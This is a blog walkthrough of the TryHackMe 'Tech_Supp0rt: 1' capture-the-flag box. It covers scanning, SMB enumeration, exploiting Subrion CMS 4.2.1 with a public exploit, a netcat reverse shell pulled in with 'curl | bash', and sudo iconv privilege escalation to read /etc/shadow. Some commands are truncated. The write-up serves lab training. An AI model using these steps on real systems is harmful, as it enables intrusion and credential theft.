Hello, Tech_Supp0rt: 1? I Think I Have a Problem with My CMS: TryHackMe Walkthrough

Hello, Tech_Supp0rt: 1? I Think I Have a Problem with My CMS: TryHackMe Walkthrough


3 min read

In this walkthrough, we explore the Tech_Supp0rt: 1 CTF on TryHackMe, covering steps such as using Nmap for scanning, Gobuster for directory enumeration, enum4linux for SMB share discovery, exploiting a Subrion panel, and escalating privileges to root. The process involves identifying open ports, finding directories and shares, cracking credentials, exploiting a vulnerable CMS, and ultimately gaining root access to the system.

Step 1: Nmap

nmap -T4 -sV -sC -A -p- --min-rate 1000
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 10:8a:f5:72:d7:f9:7e:14:a5:c5:4f:9e:97:8b:3d:58 (RSA)
|   256 7f:10:f5:57:41:3c:71:db:b5:5b:db:75:c9:76:30:5c (ECDSA)
|_  256 6b:4c:23:50:6f:36:00:7c:a6:7c:11:73:c1:a8:60:0c (ED25519)
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 4 hops
Service Info: Host: TECHSUPPORT; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: techsupport
|   NetBIOS computer name: TECHSUPPORT\x00
|   Domain name: \x00
|   FQDN: techsupport
|_  System time: 2023-07-12T22:43:56+05:30
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2023-07-12T17:13:54
|_  start_date: N/A
|_clock-skew: mean: -1h49m57s, deviation: 3h10m29s, median: 1s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Step 2: Gobuster

gobuster dir --url -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -q

Step 3: enum4linux

Let's run a scan to see which shares are available.


Step 4: SMB Share

smbclient //

Let's see what is in this text file.

Hmmm. Let's see if we can crack this with CyberChef.

Step 5: Subrion Panel

Let's enumerate for a Subrion panel using gobuster.

gobuster dir --url -f -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -o subrion.txt -b 301,302,304 -t 100 -q

We discovered an admin panel. Let's plugin the credentials we gathered from our earlier recon.

It looks like the CMS version is 4.2.1. Searchsploit has an exploit for this.

Download by typing:

searchsploit -m php/webapps/49876.py

Step 6: Exploit


python3 49876.py -u --user=admin --passw=********

Nice! Now, let's get a better stable shell on here. First, let's start a Python server where our reverse shell is located:

python3 -m http.server 8000

Then start a netcat listener to catch the shell:

rlwrap nc -lvnp 1337

Finally, pull the script onto the victim box:

curl | bash

Let's upgrade it:

python -c 'import;pty.spawn("/bin/sh")'
export TERM=xterm-256color

Step 7: Privesc and Root

First, let's check crontab:

cat /etc/crontab

No attack vector here, let's check the binaries:

find / -type f -perm -04000 -ls 2>/dev/null

Nothing here either, let's dig around the file system for something useful.

/var/www/html/wordpress/wp-config.php has a password that we can use to pivot.

Let's check /etc/passwd for usernames.

We can take the password we found from the wp-config.php and log in to scamsite.

And we're in. Let's see what we can run as sudo.

We can run /usr/bin/iconv as sudo. Let's check GTFObins for a privesc method.

sudo /usr/bin/iconv -f 8859_1 -t 8859_1 "$LFILE"

From here we could use this binary to read the /etc/shadow file and elevate permissions or create ways to maintain persistence. Overall, this box was very enjoyable and I'm glad there was a unique vector in order to gain root-level privileges.

Did you find this article valuable?

Support Jake Garrison by becoming a sponsor. Any amount is appreciated!